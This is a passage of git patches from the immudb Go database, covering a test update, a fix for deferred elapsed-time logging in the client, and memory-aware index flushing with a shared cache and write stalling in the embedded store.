require.ErrorIs(t, err, ErrIllegalArguments) cols := []ColDescriptor{ {Column: "col1"}, } - _, err = newValuesRowReader(nil, nil, cols, "", nil) + _, err = newValuesRowReader(nil, nil, cols, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, nil, cols, "", nil) + _, err = newValuesRowReader(nil, nil, cols, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, nil, cols, "table1", nil) + _, err = newValuesRowReader(nil, nil, cols, true, "table1", nil) require.NoError(t, err) - _, err = newValuesRowReader(nil, nil, cols, "table1", + _, err = newValuesRowReader(nil, nil, cols, true, "table1", [][]ValueExp{ { &Bool{val: true}, @@ -52,7 +52,7 @@ func TestValuesRowReader(t *testing.T) { _, err = newValuesRowReader(nil, nil, []ColDescriptor{ {Table: "table1", Column: "col1"}, - }, "", nil) + }, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) values := [][]ValueExp{ @@ -65,7 +65,7 @@ func TestValuesRowReader(t *testing.T) { "param1": 1, } - rowReader, err := newValuesRowReader(nil, params, cols, "table1", values) + rowReader, err := newValuesRowReader(nil, params, cols, true, "table1", values) require.NoError(t, err) require.Nil(t, rowReader.OrderBy()) require.Nil(t, rowReader.ScanSpecs()) diff --git a/embedded/store/options.go b/embedded/store/options.go index 72c8eff2e5..4e9e7a8107 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -240,10 +240,8 @@ func DefaultOptions() *Options { CompressionLevel: DefaultCompressionLevel, EmbeddedValues: DefaultEmbeddedValues, PreallocFiles: DefaultPreallocFiles, - - IndexOpts: DefaultIndexOptions(), - - AHTOpts: DefaultAHTOptions(), + IndexOpts: DefaultIndexOptions(), + AHTOpts: DefaultAHTOptions(), } } From bf27080df4a3c088460c08c1150853382ca78b87 Mon Sep 17 00:00:00 2001 From: Maurizio Del Corno Date: Tue, 20 Aug 2024 16:13:19 +0200 Subject: [PATCH 1046/1062] fix: time.Since should not be used in defer statement This commit fixes the complaining from `go vet` about the deferring of `time.Since`. This can cause wrong time evaluation of the elapsed time. This impact only the debug level, but still it should be addressed. To make the code a little bit more readable, I wrote a method on the `immuClient` instance with the signature `debugElapsedTime(method string, start time.Time)`. ref: https://github.com/golang/go/issues/60048 Signed-off-by: Maurizio Del Corno --- pkg/client/client.go | 29 ++++++++++++++++------------- pkg/client/streams.go | 2 +- 2 files changed, 17 insertions(+), 14 deletions(-) diff --git a/pkg/client/client.go b/pkg/client/client.go index a2d1f49001..9785ba5708 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -637,6 +637,10 @@ func NewImmuClient(options *Options) (*immuClient, error) { return c, nil } +func (c *immuClient) debugElapsedTime(method string, start time.Time) { + c.Logger.Debugf("method immuclient.%s took %s", method, time.Since(start)) +} + func (c *immuClient) getServerIdentity() string { // TODO: Allow customizing this value return c.Options.Bind() @@ -994,7 +998,7 @@ func (c *immuClient) CurrentState(ctx context.Context) (*schema.ImmutableState, } start := time.Now() - defer c.Logger.Debugf("Current state finished in %s", time.Since(start)) + defer c.debugElapsedTime("CurrentState", start) return c.ServiceClient.CurrentState(ctx, &empty.Empty{}) } @@ -1006,7 +1010,7 @@ func (c *immuClient) Get(ctx context.Context, key []byte, opts ...GetOption) (*s } start := time.Now() - defer c.Logger.Debugf("get finished in %s", time.Since(start)) + defer c.debugElapsedTime("Get", start) req := &schema.KeyRequest{Key: key} for _, opt := range opts { @@ -1040,7 +1044,7 @@ func (c *immuClient) GetAtRevision(ctx context.Context, key []byte, rev int64) ( // Gets reads a single value for given key with additional server-provided proof validation. func (c *immuClient) VerifiedGet(ctx context.Context, key []byte, opts ...GetOption) (vi *schema.Entry, err error) { start := time.Now() - defer c.Logger.Debugf("VerifiedGet finished in %s", time.Since(start)) + defer c.debugElapsedTime("VerifiedGet", start) req := &schema.KeyRequest{Key: key} for _, opt := range opts { @@ -1307,7 +1311,7 @@ func (c *immuClient) VerifiedSet(ctx context.Context, key []byte, value []byte) } start := time.Now() - defer c.Logger.Debugf("VerifiedSet finished in %s", time.Since(start)) + defer c.debugElapsedTime("VerifiedSet", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { @@ -1467,7 +1471,7 @@ func (c *immuClient) GetAll(ctx context.Context, keys [][]byte) (*schema.Entries } start := time.Now() - defer c.Logger.Debugf("get-batch finished in %s", time.Since(start)) + defer c.debugElapsedTime("GetAll", start) keyList := &schema.KeyListRequest{} @@ -1495,12 +1499,11 @@ func (c *immuClient) TxByID(ctx context.Context, tx uint64) (*schema.Tx, error) } start := time.Now() - defer c.Logger.Debugf("by-index finished in %s", time.Since(start)) + defer c.debugElapsedTime("TxByID", start) t, err := c.ServiceClient.TxById(ctx, &schema.TxRequest{ Tx: tx, }) - if err != nil { return nil, err } @@ -1533,7 +1536,7 @@ func (c *immuClient) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, } start := time.Now() - defer c.Logger.Debugf("VerifiedTxByID finished in %s", time.Since(start)) + defer c.debugElapsedTime("VerifiedTxByID", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { @@ -1619,7 +1622,7 @@ func (c *immuClient) History(ctx context.Context, req *schema.HistoryRequest) (s } start := time.Now() - defer c.Logger.Debugf("history finished in %s", time.Since(start)) + defer c.debugElapsedTime("History", start) return c.ServiceClient.History(ctx, req) } @@ -1640,7 +1643,7 @@ func (c *immuClient) SetReferenceAt(ctx context.Context, key []byte, referencedK } start := time.Now() - defer c.Logger.Debugf("SetReference finished in %s", time.Since(start)) + defer c.debugElapsedTime("SetReferenceAt", start) txhdr, err := c.ServiceClient.SetReference(ctx, &schema.ReferenceRequest{ Key: key, @@ -1683,7 +1686,7 @@ func (c *immuClient) VerifiedSetReferenceAt(ctx context.Context, key []byte, ref } start := time.Now() - defer c.Logger.Debugf("safereference finished in %s", time.Since(start)) + defer c.debugElapsedTime("VerifiedSetReferenceAt", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { @@ -1798,7 +1801,7 @@ func (c *immuClient) ZAddAt(ctx context.Context, set []byte, score float64, key } start := time.Now() - defer c.Logger.Debugf("zadd finished in %s", time.Since(start)) + defer c.debugElapsedTime("ZAddAt", start) hdr, err := c.ServiceClient.ZAdd(ctx, &schema.ZAddRequest{ Set: set, @@ -1848,7 +1851,7 @@ func (c *immuClient) VerifiedZAddAt(ctx context.Context, set []byte, score float } start := time.Now() - defer c.Logger.Debugf("safezadd finished in %s", time.Since(start)) + defer c.debugElapsedTime("VerifiedZAddAt", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { diff --git a/pkg/client/streams.go b/pkg/client/streams.go index 9308984701..1ed545dbe1 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -141,7 +141,7 @@ func (c *immuClient) _streamVerifiedSet(ctx context.Context, kvs []*stream.KeyVa defer c.StateService.CacheUnlock() start := time.Now() - defer c.Logger.Debugf("StreamVerifiedSet finished in %s", time.Since(start)) + defer c.debugElapsedTime("_streamVerifiedSet", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { From 2a3d3828d19da088fd805cf2283abc351e9b8f9d Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 19 Aug 2024 15:46:45 +0200 Subject: [PATCH 1047/1062] chore(embedded/store): improve index flush logic - implement memory aware flushing; - share node cache across multiple indexes; - implement write stalling; - avoid to allocate large buffers when store.maxValueSize is too large. Signed-off-by: Stefano Scafiti --- cmd/immudb/command/init.go | 1 + embedded/sql/functions.go | 6 +- embedded/store/immustore.go | 49 +++++++++++----- embedded/store/indexer.go | 90 ++++++++++++++++++++++++++---- embedded/store/indexer_test.go | 72 ++++++++++++++++++++++++ embedded/store/options.go | 77 +++++++++++++++++++------ embedded/store/options_test.go | 5 ++ embedded/tbtree/options.go | 50 +++++++++++++---- embedded/tbtree/tbtree.go | 60 ++++++++++++++++---- pkg/database/types.go | 2 +- pkg/helpers/semaphore/semaphore.go | 35 ++++++++++++ pkg/server/db_options.go | 11 ++-- pkg/server/options.go | 2 + pkg/server/remote_storage.go | 11 ++++ pkg/server/server.go | 2 +- pkg/server/types.go | 7 ++- 16 files changed, 408 insertions(+), 72 deletions(-) create mode 100644 pkg/helpers/semaphore/semaphore.go diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 542e01764c..97619118d3 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -44,6 +44,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Bool("replication-allow-tx-discarding", options.ReplicationOptions.AllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") cmd.Flags().Bool("replication-skip-integrity-check", options.ReplicationOptions.SkipIntegrityCheck, "disable integrity check when reading data during replication") cmd.Flags().Bool("replication-wait-for-indexing", options.ReplicationOptions.WaitForIndexing, "wait for indexing to be up to date during replication") + cmd.Flags().Int("shared-index-cache-size", options.SharedIndexCacheSize, "size (in bytes) of shared index cache") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.Flags().String("pidfile", options.Pidfile, "pid path with filename e.g. /var/run/immudb.pid") diff --git a/embedded/sql/functions.go b/embedded/sql/functions.go index d7eebddcd9..d922c620a1 100644 --- a/embedded/sql/functions.go +++ b/embedded/sql/functions.go @@ -144,7 +144,7 @@ func (f *SubstringFn) requiresType(t SQLValueType, cols map[string]ColDescriptor func (f *SubstringFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 3 { - return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, SubstringFnCall, len(params)) + return nil, fmt.Errorf("%w: '%s' function does expects three argument but %d were provided", ErrIllegalArguments, SubstringFnCall, len(params)) } v1, v2, v3 := params[0], params[1], params[2] @@ -165,6 +165,10 @@ func (f *SubstringFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) return nil, fmt.Errorf("%w: parameter 'length' cannot be negative", ErrIllegalArguments) } + if pos-1 >= int64(len(s)) { + return &Varchar{val: ""}, nil + } + end := pos - 1 + length if end > int64(len(s)) { end = int64(len(s)) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 64970c4f27..648c66cff9 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -43,6 +43,7 @@ import ( "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" + "github.com/codenotary/immudb/pkg/helpers/semaphore" "github.com/codenotary/immudb/pkg/helpers/slices" ) @@ -65,6 +66,7 @@ var ErrCannotUpdateKeyTransiency = errors.New("cannot change a non-transient key var ErrMaxActiveTransactionsLimitExceeded = errors.New("max active transactions limit exceeded") var ErrMVCCReadSetLimitExceeded = errors.New("MVCC read-set limit exceeded") var ErrMaxConcurrencyLimitExceeded = errors.New("max concurrency limit exceeded") +var ErrMaxIndexersLimitExceeded = errors.New("max indexers limit exceeded") var ErrPathIsNotADirectory = errors.New("path is not a directory") var ErrCorruptedTxData = errors.New("tx data is corrupted") var ErrCorruptedTxDataMaxTxEntriesExceeded = fmt.Errorf("%w: maximum number of TX entries exceeded", ErrCorruptedTxData) @@ -204,8 +206,8 @@ type ImmuStore struct { waiteesMutex sync.Mutex waiteesCount int // current number of go-routines waiting for a tx to be indexed or committed - _txbs []byte // pre-allocated buffer to support tx serialization - _valBs []byte // pre-allocated buffer to support tx exportation + _txbs []byte // pre-allocated buffer to support tx serialization + _valBs [DefaultMaxValueLen]byte // pre-allocated buffer to support tx exportation _valBsMux sync.Mutex aht *ahtree.AHtree @@ -213,8 +215,12 @@ type ImmuStore struct { durablePrecommitWHub *watchers.WatchersHub commitWHub *watchers.WatchersHub - indexers map[[sha256.Size]byte]*indexer - indexersMux sync.RWMutex + indexers map[[sha256.Size]byte]*indexer + nextIndexerID uint32 + indexCache *cache.Cache + + memSemaphore *semaphore.Semaphore // used by indexers to control amount acquired of memory + indexersMux sync.RWMutex opts *Options @@ -648,10 +654,10 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable writeTxHeaderVersion: opts.WriteTxHeaderVersion, - timeFunc: opts.TimeFunc, - multiIndexing: opts.MultiIndexing, - indexers: make(map[[sha256.Size]byte]*indexer), - + timeFunc: opts.TimeFunc, + multiIndexing: opts.MultiIndexing, + indexers: make(map[[sha256.Size]byte]*indexer), + memSemaphore: semaphore.New(uint64(opts.IndexOpts.MaxGlobalBufferedDataSize)), useExternalCommitAllowance: opts.UseExternalCommitAllowance, commitAllowedUpToTxID: committedTxID, @@ -663,7 +669,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable txPool: txPool, _txbs: txbs, - _valBs: make([]byte, maxValueLen), opts: opts, @@ -849,6 +854,18 @@ func (s *ImmuStore) InitIndexing(spec *IndexSpec) error { indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encPrefix)) } + if s.indexCache == nil { + if indexFactoryFunc := s.opts.IndexOpts.CacheFactory; indexFactoryFunc != nil { + s.indexCache = indexFactoryFunc() + } else { + c, err := cache.NewCache(s.opts.IndexOpts.CacheSize) + if err != nil { + return err + } + s.indexCache = c + } + } + indexer, err := newIndexer(indexPath, s, s.opts) if err != nil { return fmt.Errorf("%w: could not open indexer", err) @@ -862,7 +879,6 @@ func (s *ImmuStore) InitIndexing(spec *IndexSpec) error { } s.indexers[indexPrefix] = indexer - indexer.init(spec) return nil @@ -2666,7 +2682,15 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC // val // TODO: improve value reading implementation, get rid of _valBs s._valBsMux.Lock() - _, err = s.readValueAt(s._valBs[:e.vLen], e.vOff, e.hVal, skipIntegrityCheck) + + var valBuf []byte + if e.vLen > len(s._valBs) { + valBuf = make([]byte, e.vLen) + } else { + valBuf = s._valBs[:e.vLen] + } + + _, err = s.readValueAt(valBuf, e.vOff, e.hVal, skipIntegrityCheck) if err != nil && !errors.Is(err, io.EOF) { s._valBsMux.Unlock() return nil, err @@ -2687,7 +2711,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC } // val - _, err = buf.Write(s._valBs[:e.vLen]) + _, err = buf.Write(valBuf) if err != nil { s._valBsMux.Unlock() return nil, err @@ -3006,7 +3030,6 @@ func (s *ImmuStore) appendableReaderForTx(txID uint64, allowPrecommitted bool) ( } else { txr = &slicedReaderAt{bs: txbs.([]byte), off: txOff} } - return appendable.NewReaderFrom(txr, txOff, txSize), nil } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 98d48a094e..71e4566e21 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -23,8 +23,11 @@ import ( "encoding/binary" "errors" "fmt" + "math" + "math/rand" "path/filepath" "sync" + "sync/atomic" "time" "github.com/codenotary/immudb/embedded/tbtree" @@ -33,6 +36,13 @@ import ( "github.com/prometheus/client_golang/prometheus/promauto" ) +var ErrWriteStalling = errors.New("write stalling") + +const ( + writeStallingSleepDurationMin = 10 * time.Millisecond + writeStallingSleepDurationMax = 50 * time.Millisecond +) + type indexer struct { path string @@ -45,8 +55,8 @@ type indexer struct { maxBulkSize int bulkPreparationTimeout time.Duration - _kvs []*tbtree.KVT //pre-allocated for multi-tx bulk indexing - _val []byte //pre-allocated buffer to read entry values while mapping + _kvs []*tbtree.KVT //pre-allocated for multi-tx bulk indexing + _val [DefaultMaxValueLen]byte //pre-allocated buffer to read entry values while mapping index *tbtree.TBtree @@ -96,12 +106,19 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } + id := atomic.AddUint32(&store.nextIndexerID, 1) + if id-1 > math.MaxUint16 { + return nil, ErrMaxIndexersLimitExceeded + } + indexOpts := tbtree.DefaultOptions(). + WithIdentifier(uint16(id - 1)). WithReadOnly(opts.ReadOnly). WithFileMode(opts.FileMode). WithLogger(opts.logger). WithFileSize(opts.FileSize). WithCacheSize(opts.IndexOpts.CacheSize). + WithCache(store.indexCache). WithFlushThld(opts.IndexOpts.FlushThld). WithSyncThld(opts.IndexOpts.SyncThld). WithFlushBufferSize(opts.IndexOpts.FlushBufferSize). @@ -115,7 +132,11 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) WithCommitLogMaxOpenedFiles(opts.IndexOpts.CommitLogMaxOpenedFiles). WithRenewSnapRootAfter(opts.IndexOpts.RenewSnapRootAfter). WithCompactionThld(opts.IndexOpts.CompactionThld). - WithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction) + WithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction). + WithMaxBufferedDataSize(opts.IndexOpts.MaxBufferedDataSize). + WithOnFlushFunc(func(releasedDataSize int) { + store.memSemaphore.Release(uint64(releasedDataSize)) + }) if opts.appFactory != nil { indexOpts.WithAppFactory(tbtree.AppFactoryFunc(opts.appFactory)) @@ -150,7 +171,6 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) maxBulkSize: opts.IndexOpts.MaxBulkSize, bulkPreparationTimeout: opts.IndexOpts.BulkPreparationTimeout, _kvs: kvs, - _val: make([]byte, store.maxValueLen), path: path, index: index, wHub: wHub, @@ -457,13 +477,33 @@ func (idx *indexer) doIndexing() { if errors.Is(err, ErrAlreadyClosed) || errors.Is(err, tbtree.ErrAlreadyClosed) { return } - if err != nil { + + if err != nil && !errors.Is(err, ErrWriteStalling) { + idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) + time.Sleep(60 * time.Second) + } + + if err := idx.handleWriteStalling(err); err != nil { idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) time.Sleep(60 * time.Second) } } } +func (idx *indexer) handleWriteStalling(err error) error { + if !errors.Is(err, ErrWriteStalling) { + return nil + } + + if err := idx.store.FlushIndexes(0, false); err != nil { + return err + } + + sleepTime := writeStallingSleepDurationMin + time.Duration(rand.Intn(int(writeStallingSleepDurationMax-writeStallingSleepDurationMin+1))) + time.Sleep(sleepTime) + return nil +} + func serializeIndexableEntry(b []byte, txmd []byte, e *TxEntry, kvmd []byte) int { n := 0 @@ -500,18 +540,27 @@ func (idx *indexer) mapKey(key []byte, vLen int, vOff int64, hVal [sha256.Size]b return key, nil } - _, err = idx.store.readValueAt(idx._val[:vLen], vOff, hVal, false) + buf := idx.valBuffer(vLen) + _, err = idx.store.readValueAt(buf, vOff, hVal, false) if err != nil { return nil, err } - return mapper(key, idx._val[:vLen]) + return mapper(key, buf) +} + +func (idx *indexer) valBuffer(vLen int) []byte { + if vLen > len(idx._val) { + return make([]byte, vLen) + } + return idx._val[:vLen] } func (idx *indexer) indexSince(txID uint64) error { ctx, cancel := context.WithTimeout(context.Background(), idx.bulkPreparationTimeout) defer cancel() + acquiredMem := 0 bulkSize := 0 indexableEntries := 0 @@ -521,6 +570,7 @@ func (idx *indexer) indexSince(txID uint64) error { return err } + txIndexedEntries := 0 txEntries := idx.tx.Entries() var txmd []byte @@ -568,6 +618,7 @@ func (idx *indexer) indexSince(txID uint64) error { idx._kvs[indexableEntries].T = txID + uint64(i) indexableEntries++ + txIndexedEntries++ if idx.spec.InjectiveMapping && txID > 1 { // wait for source indexer to be up to date @@ -591,11 +642,6 @@ func (idx *indexer) indexSince(txID uint64) error { return err } - _, err = idx.store.readValueAt(idx._val[:prevEntry.vLen], prevEntry.vOff, prevEntry.hVal, false) - if err != nil { - return err - } - targetPrevKey, err := idx.mapKey(sourceKey, prevEntry.vLen, prevEntry.vOff, prevEntry.hVal, idx.spec.TargetEntryMapper) if err != nil { return err @@ -637,12 +683,24 @@ func (idx *indexer) indexSince(txID uint64) error { idx._kvs[indexableEntries].T = txID + uint64(i) indexableEntries++ + txIndexedEntries++ } else if !errors.Is(err, ErrKeyNotFound) { return err } } } + if indexableEntries > 0 && txIndexedEntries > 0 { + size := estimateEntriesSize(idx._kvs[indexableEntries-txIndexedEntries : indexableEntries]) + if !idx.store.memSemaphore.Acquire(uint64(size)) { + if acquiredMem == 0 { + return ErrWriteStalling + } + break + } + acquiredMem += size + } + bulkSize++ if bulkSize < idx.maxBulkSize { @@ -675,3 +733,11 @@ func (idx *indexer) indexSince(txID uint64) error { return nil } + +func estimateEntriesSize(kvs []*tbtree.KVT) int { + size := 0 + for _, kv := range kvs { + size += len(kv.K) + len(kv.V) + 8 + } + return size +} diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index c0bb302a43..40583cace0 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -220,3 +220,75 @@ func TestClosedIndexer(t *testing.T) { assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) } + +func TestIndexFlushShouldReleaseMemory(t *testing.T) { + d := t.TempDir() + store, err := Open(d, DefaultOptions()) + require.NoError(t, err) + defer store.Close() + + key := make([]byte, 100) + value := make([]byte, 100) + + n := 100 + for i := 0; i < n; i++ { + tx, err := store.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + _, err = tx.Commit(context.Background()) + require.NoError(t, err) + } + + idx, err := store.getIndexerFor([]byte{}) + require.NoError(t, err) + require.NotNil(t, idx) + + require.Greater(t, store.memSemaphore.Value(), uint64(0)) + + _, _, err = idx.index.Flush() + require.NoError(t, err) + require.Zero(t, store.memSemaphore.Value()) +} + +func TestIndexerWriteStalling(t *testing.T) { + d := t.TempDir() + store, err := Open(d, DefaultOptions().WithMultiIndexing(true).WithIndexOptions(DefaultIndexOptions().WithMaxBufferedDataSize(1024).WithMaxGlobalBufferedDataSize(1024))) + require.NoError(t, err) + defer store.Close() + + nIndexes := 30 + + for i := 0; i < nIndexes; i++ { + err = store.InitIndexing(&IndexSpec{ + TargetPrefix: []byte{byte(i)}, + TargetEntryMapper: func(x int) func(key []byte, value []byte) ([]byte, error) { + return func(key, value []byte) ([]byte, error) { + return append([]byte{byte(x)}, key...), nil + } + }(i), + }) + require.NoError(t, err) + } + + key := make([]byte, 100) + value := make([]byte, 100) + + n := 100 + for i := 0; i < n; i++ { + tx, err := store.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + _, err = tx.Commit(context.Background()) + require.NoError(t, err) + } + + for i := 0; i < nIndexes; i++ { + idx, err := store.getIndexerFor([]byte{byte(i)}) + require.NoError(t, err) + require.Equal(t, idx.Ts(), uint64(n)) + } +} diff --git a/embedded/store/options.go b/embedded/store/options.go index 4e9e7a8107..a21261b902 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -24,8 +24,10 @@ import ( "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" + "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/tbtree" + "github.com/codenotary/immudb/pkg/helpers/semaphore" ) const DefaultMaxActiveTransactions = 1000 @@ -51,6 +53,7 @@ const DefaultCommitLogMaxOpenedFiles = 10 const DefaultWriteTxHeaderVersion = MaxTxHeaderVersion const DefaultWriteBufferSize = 1 << 22 //4Mb const DefaultIndexingMaxBulkSize = 1 +const DefaultIndexingGlobalMaxBufferedDataSize = 1 << 30 const DefaultBulkPreparationTimeout = DefaultSyncFrequency const DefaultTruncationFrequency = 24 * time.Hour const MinimumRetentionPeriod = 24 * time.Hour @@ -66,8 +69,14 @@ type AppFactoryFunc func( type AppRemoveFunc func(rootPath, subPath string) error +type IndexCacheFactoryFunc func() *cache.Cache + +type IndexMemSemaphoreFactoryFunc func() *semaphore.Semaphore + type TimeFunc func() time.Time +type FlushFunc func() error + type Options struct { ReadOnly bool @@ -147,7 +156,13 @@ type Options struct { } type IndexOptions struct { - // Size of the Btree node cache + // Global limit for amount of data that can be buffered from all indexes + MaxGlobalBufferedDataSize int + + // MaxBufferedDataSize + MaxBufferedDataSize int + + // Size (in bytes) of the Btree node cache CacheSize int // Number of new index entries between disk flushes @@ -191,6 +206,9 @@ type IndexOptions struct { // Maximum time waiting for more transactions to be committed and included into the same bulk BulkPreparationTimeout time.Duration + + // CacheFactory function + CacheFactory IndexCacheFactoryFunc } type AHTOptions struct { @@ -240,26 +258,29 @@ func DefaultOptions() *Options { CompressionLevel: DefaultCompressionLevel, EmbeddedValues: DefaultEmbeddedValues, PreallocFiles: DefaultPreallocFiles, - IndexOpts: DefaultIndexOptions(), - AHTOpts: DefaultAHTOptions(), + + IndexOpts: DefaultIndexOptions(), + AHTOpts: DefaultAHTOptions(), } } func DefaultIndexOptions() *IndexOptions { return &IndexOptions{ - CacheSize: tbtree.DefaultCacheSize, - FlushThld: tbtree.DefaultFlushThld, - SyncThld: tbtree.DefaultSyncThld, - FlushBufferSize: tbtree.DefaultFlushBufferSize, - CleanupPercentage: tbtree.DefaultCleanUpPercentage, - MaxActiveSnapshots: tbtree.DefaultMaxActiveSnapshots, - MaxNodeSize: tbtree.DefaultMaxNodeSize, - RenewSnapRootAfter: tbtree.DefaultRenewSnapRootAfter, - CompactionThld: tbtree.DefaultCompactionThld, - DelayDuringCompaction: 0, - NodesLogMaxOpenedFiles: tbtree.DefaultNodesLogMaxOpenedFiles, - HistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles, - CommitLogMaxOpenedFiles: tbtree.DefaultCommitLogMaxOpenedFiles, + MaxGlobalBufferedDataSize: DefaultIndexingGlobalMaxBufferedDataSize, + MaxBufferedDataSize: tbtree.DefaultMaxBufferedDataSize, + CacheSize: tbtree.DefaultCacheSize, + FlushThld: tbtree.DefaultFlushThld, + SyncThld: tbtree.DefaultSyncThld, + FlushBufferSize: tbtree.DefaultFlushBufferSize, + CleanupPercentage: tbtree.DefaultCleanUpPercentage, + MaxActiveSnapshots: tbtree.DefaultMaxActiveSnapshots, + MaxNodeSize: tbtree.DefaultMaxNodeSize, + RenewSnapRootAfter: tbtree.DefaultRenewSnapRootAfter, + CompactionThld: tbtree.DefaultCompactionThld, + DelayDuringCompaction: 0, + NodesLogMaxOpenedFiles: tbtree.DefaultNodesLogMaxOpenedFiles, + HistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles, + CommitLogMaxOpenedFiles: tbtree.DefaultCommitLogMaxOpenedFiles, MaxBulkSize: DefaultIndexingMaxBulkSize, BulkPreparationTimeout: DefaultBulkPreparationTimeout, @@ -365,6 +386,15 @@ func (opts *IndexOptions) Validate() error { if opts == nil { return fmt.Errorf("%w: nil index options ", ErrInvalidOptions) } + if opts.MaxBufferedDataSize <= 0 { + return fmt.Errorf("%w: invalid index option MaxBufferedDataSize", ErrInvalidOptions) + } + if opts.MaxGlobalBufferedDataSize <= 0 { + return fmt.Errorf("%w: invalid index option MaxGlobalBufferedDataSize", ErrInvalidOptions) + } + if opts.MaxBufferedDataSize > opts.MaxGlobalBufferedDataSize { + return fmt.Errorf("%w: invalid index option MaxBufferedDataSize > MaxGlobalBufferedDataSize", ErrInvalidOptions) + } if opts.CacheSize <= 0 { return fmt.Errorf("%w: invalid index option CacheSize", ErrInvalidOptions) } @@ -670,6 +700,21 @@ func (opts *IndexOptions) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles in return opts } +func (opts *IndexOptions) WithMaxBufferedDataSize(size int) *IndexOptions { + opts.MaxBufferedDataSize = size + return opts +} + +func (opts *IndexOptions) WithMaxGlobalBufferedDataSize(size int) *IndexOptions { + opts.MaxGlobalBufferedDataSize = size + return opts +} + +func (opts *IndexOptions) WithCacheFactoryFunc(indexCacheFactory IndexCacheFactoryFunc) *IndexOptions { + opts.CacheFactory = indexCacheFactory + return opts +} + // AHTOptions func (opts *AHTOptions) WithWriteBufferSize(writeBufferSize int) *AHTOptions { diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index 8449f1829e..f0f64fd2ed 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -85,6 +85,9 @@ func TestInvalidIndexOptions(t *testing.T) { {"NodesLogMaxOpenedFiles", DefaultIndexOptions().WithNodesLogMaxOpenedFiles(0)}, {"HistoryLogMaxOpenedFiles", DefaultIndexOptions().WithHistoryLogMaxOpenedFiles(0)}, {"CommitLogMaxOpenedFiles", DefaultIndexOptions().WithCommitLogMaxOpenedFiles(0)}, + {"MaxGlobalBufferedDataSize", DefaultIndexOptions().WithMaxGlobalBufferedDataSize(0)}, + {"MaxGlobalBufferedDataSize", DefaultIndexOptions().WithMaxGlobalBufferedDataSize(DefaultIndexOptions().MaxBufferedDataSize - 1)}, + {"MaxBufferedDataSize", DefaultIndexOptions().WithMaxBufferedDataSize(0)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) @@ -195,6 +198,8 @@ func TestValidOptions(t *testing.T) { require.Equal(t, 1*time.Millisecond, indexOpts.WithDelayDuringCompaction(1*time.Millisecond).DelayDuringCompaction) require.Equal(t, 4096*2, indexOpts.WithFlushBufferSize(4096*2).FlushBufferSize) require.Equal(t, float32(10), indexOpts.WithCleanupPercentage(10).CleanupPercentage) + require.Equal(t, int(10), indexOpts.WithMaxBufferedDataSize(10).MaxBufferedDataSize) + require.Equal(t, int(10), indexOpts.WithMaxGlobalBufferedDataSize(10).MaxGlobalBufferedDataSize) require.Nil(t, 